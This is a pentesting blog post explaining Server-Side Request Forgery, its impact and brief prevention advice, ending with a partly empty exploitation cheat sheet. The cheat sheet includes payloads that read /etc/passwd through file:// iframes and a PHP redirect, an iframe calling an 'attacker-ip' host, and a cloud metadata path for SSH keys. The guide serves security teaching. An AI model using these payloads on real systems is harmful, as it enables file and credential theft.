See our Fast Start promotion and start your first pentest on The Cobalt Offensive Security Testing Platform for only $4,950.
See our Fast Start promotion and start your first pentest on The Cobalt Offensive Security Testing Platform for only $4,950.

A Pentester’s Guide to Server Side Request Forgery (SSRF)

Busra Demir examines the common security vulnerability, Server Side Request Forgery (SSRF).

What is SSRF?

In a Server-Side Request Forgery (SSRF) attack, the attacker can abuse functionality on the server to read or update internal resources. The attacker can supply or modify a URL, which the code running on the server will read or submit data. By carefully selecting the URLs, the attacker may be able to read server configuration such as AWS metadata, connect to internal services like HTTP-enabled databases or perform POST requests towards internal services that are not intended to be exposed.

The target application may have functionality for importing data from a URL, publishing data to a URL or otherwise reading data from a URL that can be tampered with. The attacker modifies the calls to this functionality by supplying a completely different URL or by manipulating how URLs are built (like path traversal, etc.).

When the manipulated request goes to the server, the server-side code picks up the manipulated URL and tries to read data to the manipulated URL. By selecting target URLs, the attacker may be able to read data from services that are not directly exposed on the internet:

  • Cloud server meta-data — Cloud services such as AWS provide a REST interface on where important configuration and sometimes even authentication keys can be extracted

  • Database HTTP interfaces — NoSQL database such as MongoDB provide REST interfaces on HTTP ports. If the database is expected to only be available to internally, authentication may be disabled and the attacker can extract data internal REST interfaces

  • Files — The attacker may be able to read files using file:// URIs. The attacker may also use this functionality to import untrusted data into code that expects to only read data from trusted sources, and as such circumvent input validation.

What is its impact?

A malicious actor can retrieve the content of arbitrary files on the system, which leads to sensitive information exposure(passwords, source code, confidential data, etc.).

Live pentest demo

How do I prevent SSRF vulnerability?

It is also recommended to restrict using network calls if it’s not required, since it can lead to sensitive information exposure as well — or at least limit the ability to perform network calls to the internal network or critical resources.

For more information on SSRF, please check following links:

For more detailed walkthroughs, check out my Hacking How-To video, Server Side Request Forgery (SSRF) All-In-One. In this session, I will explore how to exploit SSRF by using different attack scenarios.


Below you will find my cheatsheet for exploiting Server Side Request Forgery (SSRF):

Check out parameters such as /file=, /path=, /src= to see if the application can send request only to whitelisted applications

Check out if there is PDF or any other file export tool in place which may be vulnerable to SSRF

__Basic localhost Payloads:__

__File path:__

__With other protocols:__

__From XSS:__
\<img src="xxx" onerror="document.write('\<iframe src=file:///etc/passwd>\</iframe>')"/>\
\<link rel=attachment href="file:///etc/passwd">\

__With iframe injection:__
<?php $file = $_GET['file']; header("location:file://$file");?>
\<iframe src="http://attacker-ip/test.php?file=/etc/passwd">\</iframe>\

http://instance-data[ROLE NAME][ROLE NAME][ID]/openssh-key

__Google Cloud:__



*If you liked this blog, check out Busra's video walk-throughs here:

Back to Blog
About Busra Demir
Busra is a former Lead Cobalt Core Pentester with a passion for offensive security research, capture the flag exercises, and certifications. She has currently completed her OSCE, OSCP, and OSWP certifications. More By Busra Demir
A Pentester’s Guide to Code Injection
Learn about code injection vulnerabilities with the Pentester’s Guide to Code Injection.
Jan 8, 2021
A Pentester’s Guide to Command Injection
Get expert insights with a command injection tutorial with insights from pentesting experts at Cobalt, a Pentest as a Service (PtaaS) provider.
Dec 11, 2020